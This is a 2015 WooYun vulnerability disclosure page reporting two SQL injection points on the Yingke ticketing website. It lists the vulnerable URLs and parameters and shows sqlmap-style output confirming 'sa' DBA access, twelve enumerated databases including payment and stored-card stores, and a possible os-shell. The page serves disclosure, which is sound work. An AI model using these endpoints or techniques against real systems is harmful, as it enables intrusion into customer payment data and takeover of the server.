当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0146682

漏洞标题：影客票务网主站2处sql注入打包（DBA权限+涉及12裤）

相关厂商：影客票务网

漏洞作者： 路人甲

提交时间：2015-10-14 22:17

修复时间：2015-11-28 22:18

公开时间：2015-11-28 22:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-14： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

====影客票务网主站存在sql注入漏洞===
注入点

http://www.yingke.tv/Shop/ShopDetail.aspx?id=1103


http://www.yingke.tv/NewsList.aspx?cityid=11&type=1


两个参数均存在注入

[13:58:07] [INFO] testing Microsoft SQL Server
[13:58:07] [INFO] confirming Microsoft SQL Server
[13:58:08] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[13:58:08] [INFO] fetching current user
[13:58:08] [INFO] retrieved: sa
current user:    'sa'


[14:00:26] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[14:00:26] [INFO] testing if current user is DBA
[14:00:26] [INFO] retrieved: 1
current user is DBA:    'True'


available databases [12]:
[*] EasyPay
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] Test
[*] WeiXinDataBase
[*] YingKeData
[*] YingKeDataTest
[*] YKStoredCard


可以os-shell

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝